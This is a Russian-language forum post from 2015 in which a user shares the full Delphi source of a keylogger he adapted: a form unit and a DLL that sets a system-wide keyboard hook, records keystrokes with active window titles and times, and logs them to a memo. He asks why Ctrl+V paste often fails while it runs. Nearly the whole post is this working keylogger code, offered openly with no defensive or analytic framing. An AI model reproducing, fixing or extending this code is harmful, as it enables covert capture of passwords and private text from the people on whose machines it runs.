| 
| ETUN4 | Дата: Пятница, 27.02.2015, 00:28 | Сообщение # 1 |  |   Был не разЗарегистрирован: 13.02.2015 Группа: Пользователи Сообщений: 16 Статус: Offline | Всем привет!) Вот нашёл пример кейлоггера, немного его переделал, и вот что у меня вышло. Когда он работает, комбинация клавиш для вставки Ctrl+V срабатывает примерно один раз из шести. Заранее скопированный текс вставляется в поле мемо кейлоггера, а по теории должен бы в оба окна.
 Вот код программы:
 
 Код  unit UMain;
 interface
 
 uses Windows, Messages, SysUtils, Forms,  StdCtrls, Classes, Controls;
 
 type
 TForm1 = class(TForm)
 TmpMemo: TMemo;
 procedure FormClose(Sender: TObject; var Action: TCloseAction);
 procedure FormCreate(Sender: TObject);
 public
 function VentanaActiva: string;
 procedure OnWmCopyData(var Msg: TMessage);message WM_COPYDATA;
 end;
 
 Const
 DllName='HooK_DLL';
 Var
 Form1: TForm1;
 StrVentanaActiva: String;
 
 Function BeginKeybrdHook(HDest: THandle):Boolean;stdcall;external DllName;
 Procedure EndKeybrdHook ;stdcall;external DllName;
 
 implementation
 
 {$R *.dfm}
 type
 PKeybrdInfo = ^TKeybrdInfo;
 TKeybrdInfo = record
 VirtualKey : Integer;
 KeyStore   : Integer;
 CurrentProcessId: Cardinal;
 CurrentControl: Cardinal;
 WindowHwnd: Cardinal;
 end;
 
 procedure TForm1.OnWmCopyData(var Msg: TMessage);
 begin
 if Msg.WParam = 1 then
 with PKeybrdInfo(PCopyDataStruct(Msg.LParam)^.lpData)^ do
 begin
 if VentanaActiva()<>StrVentanaActiva then
 begin
 StrVentanaActiva:=VentanaActiva();
 TmpMemo.Lines.Add('--->' + StrVentanaActiva + ' ' + TimeToStr(Now));
 end;
 
 ActivateKeyboardLayout(GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow,nil)),0);
 
 if (KeyStore and $80000000)=0 then
 begin
 PostMessage(TmpMemo.Handle,WM_KEYDOWN,VirtualKey,KeyStore);
 end
 else
 begin
 PostMessage(TmpMemo.Handle,WM_KEYUP,VirtualKey,KeyStore);
 end;
 end;
 end;
 
 function TForm1.VentanaActiva: string;
 var
 Handle:THandle;
 Len:LongInt;
 Title:string;
 begin
 Handle:=GetForegroundWindow;
 Len:=GetWindowTextLength(Handle) + 1;
 SetLength(Title,Len);
 GetWindowText(Handle,PChar(Title),Len);
 If Length(TrimRight(Title)) = 0 then
 begin
 Title:= 'Unknow Window';
 end;
 Result:=TrimRight(Title);
 end;
 
 procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
 begin
 EndKeybrdHook;
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
 BeginKeybrdHook(Handle);
 end;
 
 end.
 
 И вот длл:
 
 Код  library HooK_DLL;
 
 uses SysUtils, Windows, Messages, Classes, Dialogs;
 
 {$R *.res}
 type
 PTMapFile = ^TMapFile;
 TMapFile = record
 HKeybrdHook:  Cardinal;
 HKeybrdDestWindow : Cardinal;
 end;
 
 TKeybrdInfo = record
 VirtualKey : Integer;
 KeyStore   : Integer;
 CurrentProcessId: Cardinal;
 CurrentControl: Cardinal;
 WindowHwnd: Cardinal;
 end;
 
 var
 HMapFile   : Cardinal=0;
 PMapFile   : PTMapFile=nil;
 
 function KeyboardProc(Code: integer; VirtualKeyCode: WPARAM; KeyStoreMsgInfo: LPARAM):LRESULT; stdcall;
 var
 KeybrdInfo: TKeybrdInfo;
 CopyDataStruct: TCopyDataStruct;
 begin
 Result:=0;
 if Code= HC_ACTION then
 begin
 KeybrdInfo.VirtualKey:= VirtualKeyCode;
 KeybrdInfo.KeyStore  := KeyStoreMsgInfo;
 KeybrdInfo.CurrentProcessId:= GetCurrentProcessId;
 KeybrdInfo.CurrentControl:= GetFocus;
 KeybrdInfo.WindowHwnd:= GetActiveWindow;
 CopyDataStruct.cbData:= SizeOf(KeybrdInfo);
 CopyDataStruct.lpData:= @KeybrdInfo;
 SendMessage(PMapFile^.HKeybrdDestWindow,WM_COPYDATA,1,LongInt(@CopyDataStruct));
 end;
 if Code< HC_ACTION then Result:= CallNextHookEx(PMapFile^.HKeybrdHook,Code,VirtualKeyCode,KeyStoreMsgInfo);
 end;
 
 function BeginKeybrdHook(HDest: THandle): Boolean;stdcall;
 begin
 Result:= False;
 if (HDest<>0) and (PMapFile^.HKeybrdHook=0) then
 begin
 PMapFile^.HKeybrdDestWindow:= HDest;
 PMapFile^.HKeybrdHook:= SetWindowsHookEx(WH_KEYBOARD,@KeyboardProc,HInstance,0);
 Result:= True;
 end;
 end;
 
 procedure EndKeybrdHook;stdcall;
 begin
 UnhookWindowsHookEx(PMapFile^.HKeybrdHook);
 PMapFile^.HKeybrdDestWindow:=0;
 PMapFile^.HKeybrdHook:=0;
 end;
 
 Procedure LibraryProc(Reason:Integer);
 begin
 case Reason of
 DLL_PROCESS_ATTACH:
 Begin
 HMapFile := CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,sizeof(TMapFile),'NMB HOOK');
 PMapFile := MapViewOfFile(HMapFile,FILE_MAP_WRITE,0, 0,0);
 end;
 DLL_PROCESS_DETACH:
 begin
 UnmapViewOfFile(PMapFile);
 CloseHandle(HMapFile);
 end;
 end;
 end;
 
 Exports BeginKeybrdHook;
 Exports EndKeybrdHook;
 
 begin
 DllProc:= @LibraryProc;
 LibraryProc(DLL_PROCESS_ATTACH);
 end.
 
 
 Сообщение отредактировал ETUN4 - Пятница, 27.02.2015, 17:56 |  |  |  |  |